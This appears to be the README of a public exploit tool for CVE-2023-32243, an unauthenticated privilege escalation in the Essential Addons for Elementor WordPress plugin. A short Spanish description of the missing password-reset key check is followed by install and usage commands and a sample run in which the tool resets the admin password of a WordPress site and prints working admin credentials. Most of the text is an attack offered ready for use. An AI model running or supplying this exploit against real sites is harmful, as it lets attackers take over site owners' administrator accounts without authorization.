
CVE-2023-32243 - Essential Addons for Elementor 5.4.0-5.7.1 - Escalada de privilegios no autenticada
Essential Addons for Elementor 5.4.0-5.7.1 - Escalada de Privilegios No Autenticada
El plugin no valida la clave de restablecimiento de contraseña, lo que podría permitir a atacantes no autenticados restablecer la contraseña de cualquier cuenta a lo que deseen, conociendo el correo electrónico o el nombre de usuario asociado, obteniendo acceso a ellas.
pip install -r requirements.txt
usage: exploit.py [-h] -u URL -p PASSWORD [-usr USERNAME]
options:
-h, --help show this help message and exit
-u URL, --url URL URL of the WordPress site
-p PASSWORD, --password PASSWORD
Password to set for the selected username
-usr USERNAME, --username USERNAME
Username of the user to reset if you already know it.
python3 exploit.py --url http://wordpress.lan --password "adminadmin2"
Please select a username:
1. admin
> 1
Nonce value: f010bc2ac9
All Set! You can now login using the following credentials:
Username: admin
Password: adminadmin2
Admin Url: http://wordpress.lan/wp-admin/